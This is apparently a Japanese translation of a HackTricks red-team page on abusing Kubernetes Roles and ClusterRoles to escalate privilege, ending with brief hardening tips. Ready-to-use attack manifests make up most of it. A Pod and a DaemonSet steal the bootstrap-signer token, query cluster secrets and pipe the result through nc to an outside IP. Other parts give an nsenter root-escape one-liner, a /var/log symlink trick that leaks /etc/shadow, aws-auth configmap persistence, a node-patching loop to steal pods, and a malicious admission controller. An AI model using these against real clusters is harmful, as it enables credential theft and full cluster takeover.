Abusing Roles/ClusterRoles in Kubernetes

**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら

HackTricksをサポートする他の方法:

ここでは、潜在的に危険なRolesおよびClusterRolesの設定を見つけることができます。 kubectl api-resourcesを使用して、すべてのサポートされるリソースを取得できることを覚えておいてください。

特権昇格

異なる権限を持つ別の主体へのアクセスを取得する技術として言及される特権昇格(Kubernetesクラスタ内または外部クラウドへの異なる権限で)、Kubernetesには基本的に4つの主要な特権昇格技術があります:

  • Kubernetesクラスタ内または外部クラウドで、より優れた権限を持つ他のユーザー/グループ/SAsを偽装できること

  • Kubernetesクラスタ内または外部クラウドで、より優れた権限を持つSAsを見つけたりアタッチしたりできるようなポッドを作成/パッチ/実行できること

  • SAsのトークンはシークレットとして保存されているため、シークレットを読み取ることができること

  • コンテナからノードに脱出できることで、ノードで実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内のノードの権限を盗むことができること(あれば)

  • ポッドでポートフォワードを実行できる能力も言及に値する技術の1つであり、そのポッド内の興味深いリソースにアクセスできるかもしれない

任意のリソースまたは動詞にアクセス(ワイルドカード)

ワイルドカード(*)は、任意のリソースに対する任意の動詞の許可を与えます。管理者によって使用されます。ClusterRole内では、攻撃者がクラスタ内の任意のネームスペースを悪用できることを意味します。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

特定の動詞で任意のリソースにアクセス

RBACでは、特定の権限には重大なリスクが伴います:

  1. create: 任意のクラスタリソースを作成する権限を付与し、特権昇格のリスクがあります。

  2. list: すべてのリソースをリストすることができ、機密データが漏洩する可能性があります。

  3. get: サービスアカウントからシークレットにアクセスすることを許可し、セキュリティ上の脅威があります。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - トークンの盗難

ポッドを作成する権限を持つ攻撃者は、特権を持つサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントになりすますことができます。これにより、特権が昇格します

攻撃者にトークンを送信するbootstrap-signerサービスアカウントのトークンを盗むポッドの例:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Podの作成と脱出

以下は、コンテナが持つことができるすべての特権を示しています:

  • 特権アクセス(保護を無効にし、機能を設定する)

  • 特権を昇格させるのに役立つ名前空間hostIPCとhostPidを無効にする

  • ノードのクラウド特権を盗むためのアクセスを提供するhostNetwork名前空間を無効にする

  • コンテナ内で**ホストの/**をマウントする

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

次のコマンドでPodを作成します:

kubectl --token $token create -f mount_root.yaml

このツイートからのワンライナーといくつかの追加:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

ステルス

おそらく、よりステルスになりたいと思うでしょう。前のテンプレートで言及された特権の一部だけを有効にしてポッドを作成した場合にアクセスできるものを以下のページで見ることができます:

  • 特権 + hostPID

  • 特権のみ

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

前述の特権を持つポッド構成を作成/悪用する例は、 https://github.com/BishopFox/badPods で見つけることができます

ポッドの作成 - クラウドへの移行

ポッド(および必要に応じてサービスアカウント)を作成できる場合、クラウド環境で特権を取得することができるかもしれません。その後、ポッドまたはサービスアカウントにクラウドロールを割り当て、アクセスすることができます。 さらに、ホストネットワーク名前空間を持つポッドを作成できる場合、ノードインスタンスのIAMロールを盗むことができます。

詳細については、次を確認してください:

pagePod Escape Privileges

デプロイメント、デーモンセット、Statefulsets、レプリケーションコントローラ、レプリカセット、ジョブ、およびクーロンジョブの作成/パッチ

これらの権限を悪用して、前述の例のように新しいポッドを作成し、特権を確立することが可能です。

次のyamlは、デーモンセットを作成し、ポッド内のSAのトークンを外部に持ち出すものです:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

**pods/exec**は、ポッド内のシェルでコマンドを実行するために使用されるKubernetesのリソースです。これにより、コンテナ内でコマンドを実行したり、シェルを取得したりできます。

したがって、ポッド内に入ってSAのトークンを盗むことが可能であり、特権を持つポッドに入り、ノードに脱出してノード内のすべてのポッドのトークンを盗んで(悪用して)ノードを乗っ取ることができます。

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

ポートフォワード

この権限は、指定されたポッド内の1つのポートを1つのローカルポートに転送することを可能にします。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はそれを悪用して、ポッド内の興味深い(例:DB)や脆弱なアプリケーション(Web?)にアクセスすることがあります。

kubectl port-forward pod/mypod 5000:5000

ホスト書き込み可能 /var/log/ エスケープ

この研究で示されているように、ホストの /var/log/ ディレクトリがマウントされた ポッドにアクセスまたは作成 できる場合、コンテナから脱出 できます。 これは、Kube-API がコンテナのログを取得しようとするとき(kubectl logs <pod> を使用)、Kubelet サービスの /logs/ エンドポイントを使用してポッドの 0.log ファイルを要求するためです。 Kubelet サービスは /logs/ エンドポイントを公開しており、これは基本的にコンテナの /var/log ファイルシステムを公開しています。

したがって、コンテナの /var/log/ フォルダに書き込みアクセス権 がある攻撃者は、次の2つの方法でこの動作を悪用できます:

  • 通常は /var/logs/pods/namespace_pod_uid/container/0.log にあるコンテナの 0.log ファイルを /etc/shadow を指すシンボリックリンク に変更します。その後、次のようにしてホストの shadow ファイルを持ち出すことができます:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 攻撃者がnodes/logを読む権限を持つ任意のプリンシパルを制御している場合、/host-mounted/var/log/sym/へのシンボリックリンクを作成し、https://<gateway>:10250/logs/sym/にアクセスすると、ホストのルートファイルシステムがリストされます(シンボリックリンクを変更するとファイルにアクセスできる場合があります)。

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

実験室と自動化されたエクスプロイトは https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts に見つけることができます

readOnly 保護のバイパス

もし運が良ければ、特権の高い CAP_SYS_ADMIN 機能が利用可能であれば、フォルダを単に rw で再マウントすることができます:

mount -o rw,remount /hostlogs/

hostPathのreadOnly保護のバイパス

この研究に記載されているように、保護をバイパスすることが可能です。

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

次のように、以前のものと同様のエスケープを防ぐために、hostPath マウントを使用せずに、PersistentVolume と PersistentVolumeClaim を使用して、ホストのフォルダをコンテナに書き込み可能なアクセスでマウントします。

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

特権アカウントのなりすまし

ユーザーなりすまし 権限を持つと、攻撃者は特権アカウントになりすますことができます。

単にkubectlコマンドでパラメータ --as=<username> を使用してユーザーになりすまし、または--as-group=<group> を使用してグループになりすますことができます。

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

または、REST API を使用します:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

シークレットのリスト

シークレットのリスト権限は、攻撃者が実際にシークレットを読むことを可能にする REST API エンドポイントへのアクセス:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

シークレットの読み取り - トークン ID の総当たり攻撃

読み取り権限を持つ攻撃者は、それを使用するためにシークレットの正確な名前が必要ですが、より広範な シークレットの一覧表示 権限とは異なり、まだ脆弱性が存在します。システム内のデフォルトサービスアカウントを列挙することができ、それぞれがシークレットに関連付けられています。これらのシークレットは、静的な接頭辞に続くランダムな5文字の英数字トークン(特定の文字を除く)による名前構造を持っています。ソースコードによると、トークンは制限された27文字のセット(bcdfghjklmnpqrstvwxz2456789)から生成されます。

この制限により、総当たり攻撃を実行してトークンを推測することが可能となり、合計14,348,907通り(27^5)の組み合わせに減少します。その結果、攻撃者は数時間でトークンを推測し、機密性の高いサービスアカウントにアクセスすることで特権昇格を引き起こす可能性があります。

証明書署名リクエスト

リソース certificatesigningrequests(または少なくとも certificatesigningrequests/nodeClient )で動詞 create を持っている場合、新しいノードの CeSR を 作成 できます。

ドキュメントによると、これらのリクエストを自動承認することが可能 であり、その場合は 追加の権限が不要 です。そうでない場合は、リクエストを承認できる必要があり、certificatesigningrequests/approval での更新と signers での approve<signerNameDomain>/<signerNamePath> または <signerNameDomain>/* の resourceName であることを意味します。

必要なすべての権限を持つ ロールの例 は次のとおりです:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

新しいノードCSRが承認されたので、ノードの特権を悪用してシークレットを盗み、権限を昇格させることができます。

この投稿この投稿では、GKE K8s TLSブートストラップ構成が自動署名で構成され、新しいK8sノードの資格情報を生成して、それらを悪用して権限を昇格させる方法が悪用されています。もしあなたが言及された特権を持っている場合、同じことができます。最初の例は、新しいノードがコンテナ内のシークレットにアクセスできないエラーをバイパスします。なぜなら、ノードはそれにマウントされたコンテナのシークレットにのみアクセスできるからです。

これをバイパスする方法は、単に興味深いシークレットをマウントしたコンテナがあるノード名のノード資格情報を作成することです(ただし、最初の投稿で方法を確認してください):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS(AWS内にある必要があります)クラスターのkube-systemネームスペースで**configmapsを変更できる主体は、aws-auth configmapを上書きすることでクラスター管理者権限を取得できます。 必要な動詞はupdatepatchです。configmapが作成されていない場合はcreate**が必要です:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

他のアカウントからユーザーにアクセス権を与えるために**aws-auth永続化**に使用できます。

ただし、aws --profile other_account eks update-kubeconfig --name <cluster-name>異なるアカウントからは機能しません。しかし、実際には aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing は、クラスターのARNを名前だけでなくARNで指定すると機能します。 kubectlを機能させるには、被害者のkubeconfigを構成し、aws exec argsに --profile other_account_role を追加して、kubectlが他のアカウントプロファイルを使用してトークンを取得し、AWSに接続するようにします。

GKEでの昇格

GCPプリンシパルにK8s権限を割り当てる方法は2つあります。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を収集するために**container.clusters.get**権限も必要です。そうでない場合は、独自のkubectl構成ファイルを生成する必要があります(次のリンクを参照)。

K8s APIエンドポイントにアクセスする際に、GCP認証トークンが送信されます。その後、GCPはK8s APIエンドポイントを介して、まずプリンシパル(メールアドレスで)がクラスター内でアクセス権を持っているかどうかをチェックし、次にGCP IAM経由でアクセス権を持っているかどうかをチェックします。 これらのいずれかがtrueであれば、応答されます。そうでない場合は、GCP IAM経由で権限を付与するようにというエラーが表示されます。

その後、最初の方法はGCP IAMを使用することで、K8s権限にはそれに相当するGCP IAM権限があり、プリンシパルがそれを持っていれば使用できます。

pageGCP - Container Privesc

2番目の方法は、クラスター内でユーザーを識別するためにメールアドレス(GCPサービスアカウントを含む)を使用してK8s権限を割り当てることです。

サービスアカウントトークンの作成

TokenRequests (serviceaccounts/tokenを作成できるプリンシパル)。K8s APIエンドポイントにアクセスする際にSAs(こちらの情報)。

ephemeralcontainers

pods/ephemeralcontainersupdateまたはpatchできるプリンシパルは、他のポッドでコードを実行し、特権のあるsecurityContextを持つephemeralコンテナを追加することで、そのノードに侵入する可能性があります。

ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations

validatingwebhookconfigurationsまたはmutatingwebhookconfigurationsのいずれかの動詞createupdateまたはpatchを持つプリンシパルは、そのようなwebhookconfigurationsを作成して特権を昇格することができるかもしれません。

mutatingwebhookconfigurationsの例は、この投稿のこのセクションを参照してください

昇格

次のセクションで読むことができるように、組み込み特権昇格防止では、プリンシパルは新しい権限を持っていない限り、ロールやクラスターロールを更新または作成することはできません。**rolesまたはclusterroles上にescalate**動詞を持っている場合を除いて。 その後、彼は自分自身にそれらの新しい権限を持つロール、クラスターロールを更新/作成することができます。

ノードプロキシ

**nodes/proxy**サブリソースにアクセス権を持つプリンシパルは、Kubelet APIを介してポッド上でコードを実行できます(こちらによる)。Kubelet認証に関する詳細情報は、このページで確認できます:

pageKubelet Authentication & Authorization

Kubelet APIに認証された状態でRCEを取得する例はこちら

ポッドの削除 + スケジュール不可のノード

ポッドを削除できるプリンシパル(podsリソース上のdelete動詞)、またはポッドを追い出すことができるプリンシパル(pods/evictionリソース上のcreate動詞)、またはポッドのステータスを変更できる(pods/statusへのアクセス)プリンシパルは、他のノードをスケジュール不可にできるnodes/statusへのアクセス)か、ノードを削除できる(nodesリソース上のdelete動詞)場合、ポッドを制御できると、他のノードからポッドを盗むことができ、それらのポッドのトークンを盗むことができます。

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

サービスの状態(CVE-2020-8554)

services/status変更できる主体は、status.loadBalancer.ingress.ip フィールドを設定して、修正されていないCVE-2020-8554を悪用し、クラスターに対するMiTM攻撃を実行することができます。CVE-2020-8554のほとんどの緩和策は、ExternalIPサービスを防ぐだけです(こちらによる)。

ノードとポッドの状態

nodes/statusまたはpods/statusの**updateまたはpatch**権限を持つ主体は、スケジューリング制約に影響を与えるためにラベルを変更できます。

組み込み特権昇格防止

Kubernetesには、特権昇格を防ぐための組み込みメカニズムがあります。

このシステムは、ユーザーが役割やロールバインディングを変更して特権を昇格させることを防ぐことを保証します。このルールの強制はAPIレベルで行われ、RBAC認可者が非アクティブであっても保護を提供します。

このルールでは、ユーザーは、その役割に含まれるすべての権限を持っている場合にのみ、役割を作成または更新できます。さらに、ユーザーの既存の権限の範囲は、作成または変更しようとしている役割の範囲と一致する必要があります。ClusterRolesの場合はクラスタ全体、Rolesの場合は同じ名前空間(またはクラスタ全体)に限定されます。

前述のルールには例外があります。主体が**rolesまたはclusterrolesに対してescalate**動詞を持っている場合、その主体は自身に権限がなくても、役割とクラスタロールの特権を増やすことができます。

RoleBindings/ClusterRoleBindingsの取得とパッチ

以前はこのテクニックが機能していましたが、私のテストによると、前のセクションで説明した理由と同じ理由でもう機能していません。権限がない場合、自分自身または別のSAに特権を与えるためにrolebindingを作成/変更することはできません。

Rolebindingsを作成する権限は、ユーザーがサービスアカウントに役割をバインドすることを可能にします。この権限は、ユーザーが管理者特権を侵害されたサービスアカウントにバインドすることを可能にし、特権昇格につながる可能性があります。

その他の攻撃

サイドカープロキシアプリ

デフォルトでは、ポッド間の通信には暗号化がありません。相互認証、双方向、ポッド間。

サイドカープロキシアプリを作成

あなたの.yamlを作成します。

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

編集して、コメントを外した行を追加してください。

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

プロキシのログを参照してください:

kubectl logs app -C proxy

詳細はこちら:https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

悪意のあるアドミッションコントローラ

アドミッションコントローラは、オブジェクトが永続化される前にKubernetes APIサーバへのリクエストをインターセプトしますが、リクエストが認証された後であり、かつ承認された後です。

攻撃者が何らかの方法でMutationg Admission Controllerをインジェクトできれば、すでに認証されたリクエストを変更できるようになります。これにより、権限昇格が可能になり、通常はクラスタに永続化される可能性があります。

https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

ステータスを確認して、準備ができているかどうかを確認します:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

新しいポッドをデプロイします:

kubectl run nginx --image nginx
kubectl get po -w

以下のクエリのいずれかでイメージ名を確認してください。ErrImagePullエラーが表示される場合。

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

上の画像で見られるように、nginx イメージを実行しようとしましたが、最終的に実行されたイメージは rewanthtammana/malicious-image でした。何が起こったのでしょうか!?

技術的詳細

./deploy.sh スクリプトは、ミューテーティングウェブフックアドミッションコントローラを確立し、その構成行に指定されたように Kubernetes API へのリクエストを変更し、観察される結果に影響を与えます。

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

ベストプラクティス

サービスアカウントトークンの自動マウントの無効化

  • ポッドとサービスアカウント: デフォルトでは、ポッドはサービスアカウントトークンをマウントします。セキュリティを強化するために、Kubernetesはこの自動マウント機能の無効化を許可しています。

  • 適用方法: Kubernetesバージョン1.6以降では、サービスアカウントまたはポッドの構成で automountServiceAccountToken: false を設定します。

RoleBindings/ClusterRoleBindingsでの制限付きユーザー割り当て

  • 選択的なインクルージョン: RoleBindingsまたはClusterRoleBindingsには必要なユーザーのみを含めるようにします。不要なユーザーを定期的に監査して削除し、セキュリティを強化します。

クラスタ全体のロールよりも名前空間固有のロールの使用

  • Roles vs. ClusterRoles: クラスタ全体に適用されるClusterRolesとClusterRoleBindingsではなく、名前空間固有の権限にはRolesとRoleBindingsを使用することをお勧めします。このアプローチはより細かい制御を提供し、権限のスコープを制限します。

自動化ツールの使用

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

最終更新